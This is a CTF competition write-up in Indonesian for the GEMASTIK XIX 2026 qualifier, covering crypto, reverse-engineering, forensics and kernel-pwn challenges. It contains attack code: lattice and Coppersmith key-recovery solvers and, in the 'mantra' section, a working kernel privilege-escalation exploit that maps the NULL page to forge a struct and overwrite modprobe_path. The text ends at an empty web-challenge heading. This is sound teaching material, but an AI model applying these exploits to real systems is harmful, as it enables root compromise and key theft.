Write-Up: GEMASTIK XIX 2026 (Babak Penyisihan)

Writeup tim DOSCOM Zero Day Scholars — 13 challenge terselesaikan di 5 kategori (crypto, reverse, forensics, pwn/kernel, web) pada babak penyisihan GEMASTIK XIX 2026 Keamanan Siber.
GEMASTIK XIX 2026 — Keamanan Siber (Babak Penyisihan)
Writeup tim DOSCOM Zero Day Scholars: sanzxcte, nexsus404 (Huga Hazimulfikri Nawawi), dan x0rr-dan. 13 challenge terselesaikan di 5 kategori — crypto, reverse, forensics, pwn/kernel, dan web.
Penanda solver di tiap bagian: nexsus404 (saya), sanzxcte, x0rr-dan.
Daftar Isi
Crypto
| Challenge | Poin | Solver |
|---|---|---|
| Nonce-nse | 500 | nexsus404 |
| TZKS | 499 | x0rr-dan |
| Ecliprime | 100 | sanzxcte |
| common-encoding | 100 | sanzxcte |
Reverse
Forensics
| Challenge | Poin | Solver |
|---|---|---|
| Tombstone | 500 | nexsus404 |
| Afterimage | 473 | sanzxcte |
| Ghost in the Core | 384 | nexsus404 |
| Cinder | 100 | nexsus404 |
Pwn / Kernel
| Challenge | Poin | Solver |
|---|---|---|
| mantra | 481 | nexsus404 |
Web
1. Nonce-nse
crypto · 500 poin · by ac3 · diselesaikan oleh nexsus404
Sebuah sistem meninggalkan jejak dari banyak tanda tangan digital. Di antara angka-angka yang terlihat acak, ada sesuatu yang tidak beres. Temukan apa yang sebenarnya terjadi pada sistem tsb.
Attachment cuma satu file: challenge.py. Judulnya main kata — Nonce-nse kedengeran kayak
nonsense, dan deskripsinya nyebut "tidak beres" pada tanda tangan digital. Dari situ sudah bisa
ditebak arahnya ke nonce ECDSA yang bermasalah.

1.1 Reconnaissance
$ grep -nE "^n =|nonce_bits_hint" challenge.py
6:n = 115792089237316195423570985008687907852837564279074904382605163141518161494337
16:nonce_bits_hint = 160
$ grep '"r":' challenge.py | sort | uniq -d
# kosong, berarti nggak ada r yang sama

Tiga hal yang dicatat: kurvanya secp256k1 (order n cocok persis dengan standar),
nonce_bits_hint = 160 padahal n panjangnya 256 bit — jadi tiap nonce k cuma 160 bit dengan
bias 96 bit, dan semua r unik jadi ini bukan nonce reuse biasa.
1.2 Analisis — Hidden Number Problem + LLL
Persamaan ECDSA s = k⁻¹(h + r·d) mod n disusun ulang jadi linier terhadap d:
k = a + t·d (mod n), dengan a = s⁻¹h, t = s⁻¹r
a dan t bisa dihitung dari data tanda tangan, d dan k tidak diketahui, tapi k kecil
(k < B = 2^160). Bentuk "cari d dari banyak (aᵢ, tᵢ) yang bikin aᵢ + tᵢd mod n selalu
kecil" itu persis Hidden Number Problem, diselesaikan dengan membangun lattice yang menyimpan
vektor pendek lalu menjalankan LLL.
Basis lattice (m+2) × (m+2) untuk m = 40 tanda tangan, dengan baris modulus n, baris t,
dan baris a (di-recenter — aᵢ − B/2 — supaya norma targetnya turun sekitar setengah).
Rule of thumb jumlah tanda tangan m ≳ n_bits / bias_bits ≈ 3; soal memberi 40, jadi longgar
banget, LLL biasa sudah cukup tanpa BKZ.
Private key diambil dari baris hasil LLL yang entri terakhirnya ±B:
d = ± v[m] · n / B (mod n)
Dicoba dua tanda, diverifikasi ke d·G == Q.
1.3 Exploitation
A, T = [], []
for sg in signatures:
si = inverse_mod(sg["s"], n)
A.append((si * sg["h"]) % n) # a_i
T.append((si * sg["r"]) % n) # t_i
A = [(a - B/2) % n for a in A] # recentering
M = Matrix(QQ, m+2, m+2)
for i in range(m): M[i, i] = n
for i in range(m):
M[m, i] = T[i]
M[m+1, i] = A[i]
M[m, m] = QQ(B)/QQ(n)
M[m+1, m+1] = B
L = M.LLL()
for row in L:
for sign in (1, -1):
val = sign * row[m]
if (val * n / B) in ZZ:
d = int(ZZ(val * n / B) % n)
if d and d * G_pt == Q_pt: found = d
Setelah d ketemu, kunci AES diturunkan lewat derive_key(d) (HKDF-SHA256, sudah ada di file
soal), lalu didekripsi pakai decrypt_and_verify — tag GCM sekaligus jadi bukti kuncinya benar.

Flag: GEMASTIK19{hnp_sh0rt_b14s3d_n0nc3_l4tt1c3_g4t3d_kdf}
Catatan. Nonce yang kependekan itu sama bahayanya dengan nonce yang dipakai ulang — bias 96
bit dari 256 sudah cukup membocorkan kunci penuh dari beberapa tanda tangan saja. Kalau ketemu
X_bits_hint, msb, lsb, atau "partial nonce" di soal crypto, langsung curiga HNP/LLL. Bug
sejenis ini pernah beneran terjadi: PS3 (nonce konstan), Android SecureRandom 2013, dompet
Bitcoin dengan RNG jelek.
2. TZKS
crypto · 499 poin · by panitia · diselesaikan oleh x0rr-dan
"Last year, my friend's thesis was about testing some kind of protocol... I don't really understand all the technical stuff about it. I dont have the main source also. Maybe... you can bypass it?!"

2.1 Reconnaissance
Attachment .hlpsl — HLPSL (High-Level Protocol Specification Language), bahasa untuk verifikasi
formal protokol keamanan (AVISPA), cocok dengan petunjuk "friend's thesis was about testing some
kind of protocol". Empat baris komentar di file memberi seluruh wire format (enroll,
enroll_open, prove, auth, auth_resp), dan server mengirim parameter Module-LWE
(n=256 q=8380451 k=4 l=4 eta=2 gamma=131072 tau=39) saat connect — mirip Dilithium, tapi
q = 8380451 bukan 8380417 milik Dilithium asli dan bukan NTT-friendly, jadi seluruh
aritmetika ring harus dikerjakan manual.
2.2 Bug 1 — Fiat-Shamir rusak (w tidak mengikat)
Server mengirim c0 lebih dulu, baru menerima w bersama z1/z2 dalam satu pesan. Padahal
seluruh keamanan Fiat-Shamir bergantung pada w yang mengikat sebelum tantangan keluar.
Tinggal dibalik urutan berpikirnya:
ambil z1 = 0, z2 = 0
maka w = -c0 * t
cek A*0 + 0 == (-c0*t) + c0*t == 0 benar
Norma z1/z2 nol, lolos juga kalau ada pengecekan batas. Terotorisasi tanpa mengetahui apa
pun.
2.3 Bug 2 — nonce reuse di prove membocorkan witness
Y diturunkan dari (S, E, Label) saja tanpa unsur acak, tapi C selalu baru tiap panggilan.
Dua proof pada label yang sama memakai nonce yang persis sama dengan tantangan berbeda:
z1 - z2 = (c1 - c2) * u (y lenyap)
u = (z1 - z2) / (c1 - c2) diselesaikan di R_q sebagai sistem linier 256×256 memakai matriks
negacyclic dari (c1 - c2). Empat label memberi 1024 persamaan untuk 1024 variabel s
(l*n = 4*256), diselesaikan dengan eliminasi Gauss mod q. Verifikasi tanpa perlu bertanya ke
server: norma tak hingga s dan e = t - A*s sama-sama tepat 2 (= eta) — kalau salah,
normanya akan tersebar acak mendekati q/2.
2.4 Exploitation
Dengan s dan e di tangan, jalankan protokol secara jujur:
w = A*y1 + y2 -> kirim
terima c
z1 = y1 + c*s
z2 = y2 + c*e -> kirim
[+] s dipulihkan, norma tak hingga = 2 (eta = 2)
[+] e = t - A*s, norma tak hingga = 2 (eta = 2)
[+] norma tak hingga z = 130924 (batas gamma = 131072)
[+] FLAG: GEMASTIK19{r353t_th3_pr0v3r_l34k_m0dul3_lw3_w1tn3ss_th3n_1mp3rs0n4t3}
Flag: GEMASTIK19{r353t_th3_pr0v3r_l34k_m0dul3_lw3_w1tn3ss_th3n_1mp3rs0n4t3}
Referensi: HLPSL/AVISPA · Module-LWE/Dilithium · Fiat-Shamir transform
3. Ecliprime
crypto · 100 poin · by ac3 · diselesaikan oleh sanzxcte
Saat gerhana menutupi sebagian besar bilangan prima, jejak kecilnya masih tertinggal dalam bayangan. Sebuah pesan telah diamankan menggunakan RSA dan enkripsi berlapis, tetapi salah satu faktor penyusunnya tidak sepenuhnya tersembunyi.
Modulus RSA 1023 bit (p, q masing-masing ~512 bit), dan p_high diberikan — 512 bit dengan
200 bit bagian bawah bernilai nol. Variabel oaep_ciphertext di file soal ternyata umpan, tidak
pernah dipakai fungsi penurunan kunci; kunci AES diturunkan langsung dari faktor prima p lewat
HKDF-SHA256.
Coppersmith's Method
Karena sebagian besar bit p sudah diketahui (p_high) dan cuma menyisakan 200 bit tak
diketahui (M = 200), sementara batas teoretis Coppersmith untuk pemulihan bit parsial faktor
adalah setengah panjang bit faktornya (≤256 bit untuk p 512 bit) — M = 200 masih aman di
bawah batas itu.
P.<x> = PolynomialRing(Zmod(N))
f = (p_high + x).monic()
roots = f.small_roots(X=2^M, beta=0.4, epsilon=0.02)
p = p_high + int(roots[0])
assert N % p == 0
key = challenge.derive_key(int(p))
flag = AES.new(key, AES.MODE_GCM, nonce=...).decrypt_and_verify(ciphertext, tag)

Flag: GEMASTIK19{c0pp3rsm1th_g4t3d_kdf_d3c0y_0aep_n34r_th3_b0und}
4. common-encoding
crypto · 100 poin · by wondping0 · diselesaikan oleh sanzxcte
Did you know basic encoding? Need deleting spaces? howd?
Ciphertext-nya diawali S, diakhiri Z, dipisah blok pakai delimiter DW, dan tiap blok cuma
berisi karakter O (=1) dan H (=0) sebagai representasi biner. Alur dekode: buang marker,
split delimiter, tiap blok biner ke desimal ke karakter ASCII, hasil gabungannya adalah string
hex, decode sekali lagi hex ke ASCII untuk dapat flag akhir.
core_data = ciphertext[1:-1]
blocks = core_data.split("DW")
binary_chars = [chr(int(b.replace('O','1').replace('H','0'), 2)) for b in blocks if b]
hex_string = "".join(binary_chars)
flag = bytes.fromhex(hex_string).decode('utf-8')

Flag: GEMASTIK19{TUTOR!!_submit-crypto-flag_D0ng}
5. hexlock
reverse · 500 poin · by wondping0 · diselesaikan oleh nexsus404
Line to codes? how to use:
./hexlock 'GEMASTIK19{...}'
Attachment: hexlock, ELF 64-bit statis stripped ~1.5 MB — flag checker, jawab Correct! atau
Wrong..

5.1 Reconnaissance
$ strings -n 8 hexlock | grep -aoE "runtime\.|GCC:" # ada runtime.* -> binary Go
$ readelf -S hexlock | grep gopclntab
[ 6] .gopclntab PROGBITS 00000000004fbc60 ...

Binary Go, statis dan stripped. Magic .gopclntab dipatch (bukan magic Go mana pun), tapi
nfunc = 1915 dan textStart cocok dengan VA .text — layoutnya masih standar, cuma nama
paket teracak. Ciri khas garble. Dari 1915 fungsi cuma 383 yang masih punya nama; di antaranya
ada method .Seal (AEAD/kripto) dan tipe debug/elf (program baca ELF, kemungkinan dirinya
sendiri).
5.2 Analisis
Nama main.main sudah hilang, jadi dicari lewat string: header Wrong/Correct di .rodata,
lalu grep disassembly untuk lea yang menunjuk ke situ. Alur checker-nya:
panjang input harus 44 (GEMASTIK19{ + 32 char isi + })
call fn_key -> hasilnya 16 byte (kunci AES)
call fn_seal -> Seal(input) -> blob
constant-time compare vs blob 66 byte
Checkernya: AES-128-GCM Seal(input) == blob 66 byte — panjang flag = 50 (66 − 16 tag).
Bagian yang bikin mentok. Key hasil breakpoint gdb dipakai buat decrypt_and_verify, hasilnya
MAC check failed. Ada dua proteksi di fungsi derivasi key: anti-debug (baca
/proc/self/status, cari TracerPid, kalau ketahuan di-debug satu byte keymat di-XOR) dan
self-integrity (hash /proc/self/exe ikut jadi bahan key, jadi patch binary juga bikin key
meleset). Buntu dua arah — debug key dirusak, patch binary hash berubah.
Celahnya ada di loop pencampuran key: key[i] = rol(tabel[i] ^ keymat[i], 3) ^ hash_exe[i] —
semua operasinya per-byte, tanpa difusi. Korupsi satu byte keymat dari anti-debug cuma
merusak satu byte di key akhir. Tinggal brute-force 16 posisi × 256 nilai = 4096
kombinasi, pakai tag GCM sebagai oracle.
5.3 Exploitation
base_key = gdb_dump(breakpoint di fn_key, "x/16bx $rax") # terkorupsi 1 byte
for pos in range(16):
for b in range(256):
base_key[pos] = b
try:
flag = AES.new(bytes(base_key), AES.MODE_GCM, nonce=nonce).decrypt_and_verify(ct, tag)
# ketemu
except ValueError:
continue

[+] Kunci valid ditemukan! Posisi byte ke-5 diubah ke 0x5e
[+] Flag berhasil didekripsi: GEMASTIK19{6_sh4rd5_r34ss3mbl3_th3_g0ph3r5_s3cr3t}
Flag: GEMASTIK19{6_sh4rd5_r34ss3mbl3_th3_g0ph3r5_s3cr3t}
Catatan. Tag AES-GCM itu oracle brute-force yang enak — begitu ruang carinya kecil, tidak perlu mengerti transformasi key-nya sama sekali. Anti-debug + self-integrity itu kombinasi yang saling menutup, tapi yang menyelamatkan justru kelemahan desainnya: mixing key per-byte tanpa difusi, jadi korupsinya cuma kena satu byte.
6. wraith
reverse · 116 poin · by ac3 · diselesaikan oleh sanzxcte
hello chatgpt please solve this ctf reverse chall
6.1 Reconnaissance
Binary ELF 64-bit statis stripped, baca input dari stdin.

strings -n 4 wraith | grep -aiE "wrong|correct|GEMASTIK"

String GEMASTIK19{ dirujuk langsung oleh fungsi checker utama. Disassembly checker menunjukkan
aturan panjang: total 44 karakter, GEMASTIK19{ (11 byte) + 32 byte isi (empat blok 64-bit) +
} (1 byte).

6.2 VM bytecode terenkripsi + struktur Feistel 24 ronde
Binary menyalin 961 byte bytecode terenkripsi ke stack, didekripsi dengan algoritma turunan SplitMix64. Validitas dekripsi dibuktikan dengan mengecek semua byte hasil jatuh ke set opcode yang valid — 320 instruksi VM tervalidasi sempurna tanpa opcode sampah.

Program terdiri dari 4 LOADIN, 24 ronde Feistel (13 instruksi tiap ronde), 4 CHECK. Karena seluruh operasi di dalam ronde bersifat invertibel (penjumlahan ↔ pengurangan, ROL ↔ ROR, perkalian modulo 2⁶⁴ ↔ invers modular karena semua pengali ganjil), program bisa dibalik langsung dari target ke input tanpa perlu solver otomatis (Z3).
6.3 Exploitation
minv = [pow(m, -1, 1 << 64) for m in mul]
konst = [splitmix_final((i * GOLD + SM_ADD) & M64) for i in range(24)]
r = list(target)
for i in reversed(range(24)): # jalankan mundur dari target
r[0] = (r[0] - konst[i]) & M64
r[1], r[2], r[3] = r[3], r[1], r[2]
r[3] ^= r[2]; r[3] = ror(r[3], 37)
r[2] = r[2] * minv[i] & M64; r[2] = (r[2] - r[3]) & M64
r[1] ^= r[0]; r[1] = ror(r[1], 13)
r[0] = r[0] * minv[i] & M64; r[0] = (r[0] - r[1]) & M64
Hasil dibalik diverifikasi maju (harus cocok dengan target) sekaligus di-pipe langsung ke binary aslinya untuk verifikasi akhir.

Flag: GEMASTIK19{n3st3d_vm_MUL0_ant1z3_1nv_h4nd!!}
7. Tombstone
forensics · 500 poin · by aodreamer · diselesaikan oleh nexsus404
DLP flagged outbound traffic from a finance workstation, well after hours. We pulled the disk image before anyone could touch it again. Rekonstruksi apa yang terjadi malam itu.
Attachment: fin-ws-04.img (disk image ext4, 48 MB).

7.1 Reconnaissance
SOC_NOTE.md bilang jejak gampang sudah dibersihkan (auth.log dipotong, journal di-vacuum,
.bash_history hilang). Image dibaca pakai The Sleuth Kit (tanpa mount, biar journal replay
tidak merusak bukti):
$ fls -r -p fin-ws-04.img
r/r 40: home/dwi/.bash_history
r/r 41: home/dwi/.python_history
r/r 39: var/tmp/.ICE-unix/1000/.cache-dwi.dat
r/r 34: usr/local/sbin/systemd-timesyncd-helper

usr/local/sbin/systemd-timesyncd-helper itu masquerading — nama niru daemon systemd tapi
ditaruh di /usr/local/sbin, ini tool penyerangnya. .cache-dwi.dat di dalam .ICE-unix (harus
buat X11 socket) itu payload staging. .bash_history nol byte, tapi .python_history masih utuh
dan justru berisi resep serangannya. wtmp/btmp/audit.log selamat karena format biner —
penyerang sering lupa itu.
7.2 Analisis — kunci dipecah tiga, disebar di metadata
Dari .python_history: vault key = PBKDF2(cron UPLOAD_ID + xattr tool, salt = crtime tool sebagai epoch), 200000 iterasi, mengenkripsi /home/dwi/finance jadi .cache-dwi.dat
(AES-GCM). Tiga sumber kuncinya:
UPLOAD_IDdi/etc/cron.d/geoclue-refresh(nyamar jadi config geoclue)part_bdi extended attributeuser.upl_bmilik tool- salt = crtime inode tool
Dua yang terakhir tidak bisa diambil pakai tsk_recover/cat — harus lewat debugfs -R "stat":
ctime/atime/mtime: 0x63c34200 -- Sun Jan 15 07:00:00 2023 [SERAGAM = di-touch]
crtime: 0x6733bdd4 -- Wed Nov 13 03:43:00 2024 [ASLI, TIDAK DIPALSUKAN]
Extended attributes: user.upl_b (20) = "8f2b6d1a0c7e9a4b3f51"
Ini inti soalnya. Tiga timestamp pertama seragam persis di Januari 2023 (hasil touch), tapi
crtime tidak ikut dipalsukan — pas di antara login dan waktu upload. Penyerang memilih crtime
sebagai salt justru karena susah dipalsukan, tapi jadinya tidak bisa memalsukan crtime untuk
menutupi jejaknya sendiri. Judul "Tombstone" pas sekali. (Umpan: BK_KEY di /etc/cron.d/backup
terlihat berpasangan dengan state.enc, tapi .python_history jelas menyebut yang dipakai
UPLOAD_ID, bukan BK_KEY.)
7.3 Exploitation
Image tidak di-mount sama sekali — semua pembacaan lewat subprocess debugfs. UPLOAD_ID
di-regex dari cron, part_b+crtime diparse dari output debugfs stat, ekstraksi arsip
dilakukan di memori (bukan ke disk) untuk aman dari path traversal.
key = PBKDF2-HMAC-SHA256(UPLOAD_ID + part_b, str(crtime), 200000)
plain = AES-256-GCM.decrypt(.cache-dwi.dat, nonce||ct||tag)
gunzip -> tar -> drop_manifest.txt

[+] crtime : 1731444180 -> [REAL / UNALTERED BIRTH TIME]
[+] AES-GCM Decryption successful! Cryptographic tag verified.
vault unlocked -> GEMASTIK19{th3_cl0ck_l13d_but_th3_1n0d3_d1dnt}
Flag: GEMASTIK19{th3_cl0ck_l13d_but_th3_1n0d3_d1dnt}
Catatan. Kunci bisa nangkring di metadata (xattr, crtime), bukan cuma isi file — cat tidak
akan menunjukkan itu. crtime adalah timestamp paling susah dipalsukan di ext4 (tidak ada syscall
standar untuk mengubahnya); kalau mtime/atime/ctime seragam tapi crtime beda jauh, itu
tanda anti-forensik. Mount bisa memicu journal replay yang mengubah metadata — selalu pakai
debugfs read-only.
8. Afterimage
forensics · 473 poin · by el es bebe stego merberto · diselesaikan oleh sanzxcte
There was an incident happening in one of our container in our main server. There were only few footprints and one file was stolen.
Attachment: mem.zip → memory.lime (dump memori fisik, format LiME).
8.1 Reconnaissance
magic = 0x4c694d45 # "LiME"

Karena ini dump memori fisik (bukan file image), halaman virtual sebuah proses tidak berurutan di dump ini — konsekuensi yang nanti terasa.
strings -a -n 10 memory.lime | grep -aiE "^Linux version|Debian |Alpine"
strings -a -n 8 memory.lime | grep -aoiE "docker|containerd|runc" | sort | uniq -c

8.2 Merekonstruksi insiden dari scrollback terminal
strings -a -n 6 memory.lime | grep -aoiE "(base64 -d|memfd_create|ld\.so\.preload)"

Tiga indikator langsung menonjol: ld.so.preload (percobaan pasang dynamic linker preload
untuk rootkit, sempat gagal berulang), base64 -d (payload didekode dari variabel terminal),
memfd_create (eksekusi fileless, menyamar sebagai proses kernel [kworker/u8:2]).
Meskipun penyerang sudah history -c, buffer scrollback terminal di memori masih merekam seluruh
rangkaian aksinya — judul "Afterimage" merujuk persis ke fenomena ini.
Menelusuri baris di sekitar base64 -d, ditemukan sisa string Base64 utuh yang jadi muatan data
curian:
strings -a memory.lime | grep "KEVt/"
KEVt/ztn6l1WUQBRFINKy4Jp/VQ8kzAn/cZ2MlHoZCUAOvRFumQ4KUESHqdXwjbmowc/3389i++Zwpxzav79dikwrqx6/XlyULlASA==
Decode menghasilkan 76 byte ciphertext berentropi tinggi — isi file curian (/srv/app/flag.txt).

8.3 Membedah payload dan menemukan kunci
Cari lokasi konstanta sigma ChaCha20 di memori:
strings -a -t x memory.lime | grep "expand 32-byte k"

Karena struktur memori fisik tersebar dan offset statis via dd tidak mengenai blok yang tepat,
dilakukan pemindaian entropi di sekitar alamat tersebut untuk menemukan blok kunci dan nonce:
dd if=memory.lime bs=1 skip=$((0x31699f0 - 128)) count=128 | xxd


- Nonce (12 byte):
5aa2e1ef2bcc80868ad53417 - Kunci (32 byte):
15d19593e44d3f39bf2fab5e52410d5af1cea024256bd44692a1d033356575c7
8.4 Dekripsi
Catatan kritis RFC 8439. Blok pertama (counter = 0) ChaCha20 secara khusus dicadangkan untuk kunci autentikasi Poly1305. Karena ciphertext ini data murni tanpa tag Poly1305, dekripsi wajib dimulai dari counter = 1 — pakai counter = 0 hasilnya sampah.
cipher = ChaCha20.new(key=key, nonce=nonce)
cipher.seek(1 * 64) # geser ke counter 1 (RFC 8439)
plaintext = cipher.decrypt(ciphertext)

Flag: GEMASTIK19{794dee6920bbafb15b784d6c82ab41a1d8a459fa59e0fd0b6e1aed9bb0175504}
9. Ghost in the Core
forensics · 384 poin · by aodreamer · diselesaikan oleh nexsus404
aether-sensor-07 phoned home once, then went quiet. We caught a core dump of the process mid-flight and the packets that went with it. What got out?
Attachment: SOC_NOTE.md + victim.core.gz + capture.pcap. Proses sensor nyambung ke
127.0.0.1:9000, kirim data, lalu hapus buffer kerjanya — binary-nya sendiri tidak pernah
ditulis ke disk, cuma hidup di memori.

9.1 Reconnaissance
Dua artefak yang saling melengkapi: core dump proses dan trafik keluarnya. Dari 7 paket TCP di pcap, cuma satu paket yang bawa data: 51 byte.

Tidak ada konstanta kripto standar (expand 32-byte k, AES sbox) di core — cipher-nya custom
atau stream cipher sederhana.
9.2 Analisis
Carve binary yang cuma ada di memori. Catatan NT_FILE di core dump menyimpan mapping segmen
yang di-load. Lima halaman di-carve dari core lewat magic ELF:
i = d.find(b"\x7fELF", 0x400)
open("sensor","wb").write(d[i:i+0x5000])
strings mengungkap GIO_LAUNCHED_DESKTOP_FILE (env var GNOME yang sah, dipakai menyimpan salt
biar tidak mencurigakan) dan explicit_bzero (cocok dengan "wiped its working buffers" di SOC
note — versi memset yang tidak dioptimasi compiler, jadi buffer benar-benar terhapus).
Cipher-nya RC4, dipanggil dua kali. Pola KSA (loop 256 + swap) dan PRGA di disassembly, tanpa
konstanta ajaib. Lapis 1: kunci 24 byte (fixed(16) dari .rodata || salt(8) dari env, di-hex-decode) mendekripsi blob 37 byte config: H=127.0.0.1|P=9000|S=ccec6519f7e59a83.
Lapis 2: secret S dari config (di-hex-decode lagi jadi 8 byte) jadi kunci RC4 untuk 51 byte
payload dari pcap.
9.3 Exploitation
salt = hex_decode( env GIO_LAUNCHED_DESKTOP_FILE ) # 8 byte
key1 = rodata[0x20d0:+16] + salt # 24 byte
config = RC4(key1, rodata[0x2040:+37]) # -> H=...|P=...|S=...
key2 = hex_decode( config["S"] ) # 8 byte
flag = RC4(key2, payload_51_byte)
Tidak ada yang dihardcode: payload di-parse dari pcap, salt di-regex dari core, blob konstan dibaca dari binary yang di-carve. Karena RC4 tidak punya tag autentikasi, verifikasi cukup cek hasil akhir bisa di-decode UTF-8 atau tidak.

Flag: GEMASTIK19{gh0st_1n_th3_c0re_rc4_s4lt_fr0m_3nv1r0n}
Catatan. Binary fileless tetap tertangkap di core dump — mapping NT_FILE menunjukkan
alamatnya, "never written to disk" bukan berarti hilang. Environment variable adalah tempat
sembunyi favorit karena nama yang sah tidak menarik perhatian. RC4 dikenali dari bentuknya (KSA
256 + swap, PRGA S[(S[i]+S[j]) & 0xff]), bukan dari string yang bisa di-grep.
10. Cinder
forensics · 100 poin · by aodreamer · diselesaikan oleh nexsus404
A phone seized during a data leak investigation. All that came back is one chat app's extracted data directory, and nothing in it looks interesting at first.
Attachment: sandbox aplikasi Android com.example.cinder.

10.1 Reconnaissance
databases/ chat.db (1536 B), chat.db-wal (5392 B), chat.db-shm (32768 B)
files/ avatars/me.png (8 byte, cuma signature PNG tanpa data - umpan)
shared_prefs/ secure_prefs.xml
File -wal/-shm di sebelah .db berarti database ini pakai mode WAL — sering menyimpan
jejak transaksi lama, termasuk data yang sudah dihapus tapi belum di-checkpoint. secure_prefs.xml
memberi semua bahan kripto terang-terangan (install_key, kdf_salt, kdf_iters=120000,
AES-256-GCM). CASE_NOTE.md mewanti-wanti: "Work on a copy; keep the originals intact."

10.2 Analisis
Jebakan pertama: jangan buka chat.db langsung. Modul sqlite3 Python otomatis
nge-checkpoint saat database dibuka — isi WAL disalin ke db utama dan file WAL-nya hilang.
Peringatan "work on a copy" itu beneran teknis.
Struktur pesan protobuf sederhana (field: nama pengirim, nonce 12 byte, ciphertext, tag GCM
16 byte). Kuncinya: install_key mentah tidak jalan, harus diturunkan dulu —
PBKDF2("sha256", b64decode(install_key), b64decode(kdf_salt), 120000, 32). AAD template
"thread:rowid" di prefs bukan literal, tapi dua placeholder — dicoba beberapa varian dan
dibiarkan tag GCM yang memutuskan, yang lolos f"{thread}:{rowid}". Draft
GEMASTIK{th1s_dr4ft_n0t3_1s_4_d3c0y} di tabel drafts adalah umpan (format GEMASTIK{ tanpa
19).
WAL-nya yang jadi kunci. Header WAL: page size 512, 10 frame. Field dbsize di frame 4 dan 9
bernilai 6 (commit), sisanya 0 — berarti ada dua transaksi. Merakit ulang state transaksi
pertama (frame 0–4) memberi 8 pesan, sementara state akhir cuma 4 — empat pesan di thread kurir
sudah dihapus di transaksi kedua, tapi penghapusan itu sendiri jadi transaksi baru dan state
sebelumnya tetap nyangkut di WAL.
10.3 Exploitation
chat.db asli dibaca sebagai bytes saja, tiap state transaksi dirakit di memori. Parameter
kripto dibaca dari secure_prefs.xml; page size/jumlah frame/transaksi diturunkan dari header
WAL, bukan dihardcode.
parse header WAL -> kelompokkan frame per transaksi (batas = frame dengan dbsize > 0)
rakit ulang tiap state transaksi -> dekripsi pesan (AES-256-GCM, AAD f"{thread}:{rowid}")
bandingkan state lama vs baru -> pesan yang dihapus

[DITEMUKAN DI WAL WALKBACK] ID: 12 | Thread: kurir | vault key: GEMASTIK19{n0t_burn3d_just_h1d1ng_1n_th3_w4l}
Flag: GEMASTIK19{n0t_burn3d_just_h1d1ng_1n_th3_w4l}
Catatan. WAL itu seperti tempat sampah yang tidak pernah dikosongkan — menghapus baris
justru menambah frame baru, bukan menghilangkan yang lama. Kunci sering nangkring lengkap di
aplikasinya sendiri; shared_prefs bernama "secure_prefs" adalah ironi yang beneran sering
kejadian di app Android.
11. mantra
pwn / kernel · 481 poin · by hanzo · diselesaikan oleh nexsus404
pemanasan dulu biar panas ya mas.
print(10+6)->17
Remote: nc 15.232.64.175 13338. Handout: bzImage, rootfs.cpio.gz, mantra.ko, run.sh,
System.map. Deskripsinya bercanda "pemanasan", tapi ini kernel exploitation beneran — nama
flag-nya sendiri membocorkan bug-nya: not all pointers point somewhere, some point to zero.

11.1 Reconnaissance
Mitigasi dari run.sh:
| Mitigasi | Status | Artinya |
|---|---|---|
| KASLR | off (nokaslr) | alamat kernel tetap, baca dari System.map |
| KPTI | off (nopti) | tidak menghalangi (bukan ret2usr) |
| SMEP | on | tidak bisa eksekusi kode userland di ring0 |
| SMAP | off | kernel bebas baca/tulis memori userland |
Setup korban dari rootfs/init:
sysctl -w vm.mmap_min_addr=0 # <- KUNCI: halaman NULL boleh di-map user
insmod /mantra.ko
chmod 0666 /dev/mantra # device world-accessible
chown 0:0 /flag.txt; chmod 0400 /flag.txt # flag root-only

Skenario LPE klasik: shell uid 1000, /dev/mantra bisa diakses siapa saja. Yang paling penting:
mmap_min_addr=0 — tanpa itu, NULL-deref cuma jadi DoS.
11.2 Analisis — NULL-deref jadi kontrol penuh
Modul tidak stripped, tiga fungsi (open/release/ioctl). Struct 0x20 byte ketebak dari pola
kfree:
struct mantra {
void *key_ptr; // +0x00
size_t key_len; // +0x08
void *buf_ptr; // +0x10
size_t buf_len; // +0x18
};
Tiga handler (INIT/SET_KEY/SET_DATA) mengecek private_data != NULL sebelum menyentuh struct.
Tapi READ dan XOR langsung men-dereference tanpa cek:
; XOR @ 0xfe
fe: 48 8b 13 mov rdx,[rbx] ; key_ptr <- deref rbx tanpa cek!
; READ @ 0x256
271: 48 8b 43 18 mov rax,[rbx+0x18] ; buf_len <- deref rbx tanpa cek!
Kalau INIT tidak dipanggil, private_data tetap NULL. Memanggil READ/XOR membuat modul
membaca struct dari alamat 0x0 — dan karena mmap_min_addr=0, halaman 0x0 bisa di-mmap
dan struct palsu dikontrol penuh.
Dua primitif dari struct palsu: READ = arbitrary read dari buf_ptr, XOR =
buf_ptr[i] ^= key_ptr[i % key_len] = arbitrary XOR-write penuh (baca byte lama via READ, hitung
key = lama ^ target).
Target: modprobe_path. Kernel memanggil call_usermodehelper(modprobe_path, ...) sebagai
root saat gagal eksekusi file dengan magic tak dikenal. Timpa jadi /tmp/pwn, picu, script
jalan sebagai root. Alamatnya tetap (nokaslr) dari System.map.
11.3 Exploitation
Dua file: solve_tiny.c (jalan di dalam VM, dikompilasi -nostdlib supaya cuma ~9 KB — upload
lewat serial console via base64) + exploit.py (delivery pwntools).
mmap(0, 0x1000, RW, MAP_FIXED|MAP_PRIVATE|MAP_ANON, -1, 0); // halaman NULL
fake[0]=0x300; fake[1]=9; // key_ptr, key_len
fake[2]=0xffffffff82b3f580; fake[3]=9; // buf_ptr=modprobe_path, buf_len
ioctl(fd, READ, {uptr:0x200, len:9}); // baca "/sbin/mod"
for i: key[i] = old[i] ^ "/tmp/pwn"[i]; // hitung XOR key
ioctl(fd, XOR, 0); // modprobe_path -> "/tmp/pwn"
fork()+execve("/tmp/dummy"); // gagal exec -> kernel jalanin /tmp/pwn sbg root
Dua jebakan kompiler: GCC menganggap dereference NULL sebagai UB dan bisa menghapus penulisannya
(diatasi -fno-delete-null-pointer-checks + hide_ptr() lewat inline-asm), dan wrapper syscall
harus pakai constraint register yang benar ("D"/"S"/"d", bukan "r" yang membebaskan GCC
memilih register sembarang).

[+] modprobe_path overwritten successfully!
GEMASTIK19{n0t_4ll_p01nt3rs_p01nt_s0m3wh3r3_s0m3_p01nt_t0_z3r0}
Flag: GEMASTIK19{n0t_4ll_p01nt3rs_p01nt_s0m3wh3r3_s0m3_p01nt_t0_z3r0}
Catatan. NULL-deref di kernel = full compromise kalau mmap_min_addr=0 — cek nilai itu
duluan di soal kernel. Bug-nya tidak eksotis: tiga dari lima handler ioctl mengecek
private_data, dua lupa — bandingkan handler yang mirip langsung menunjukkan yang lupa.
modprobe_path overwrite mengalahkan SMEP/SMAP tanpa ROP sama sekali.
12. BMN
web · 498 poin · by panitia · diselesaikan oleh x0rr-dan
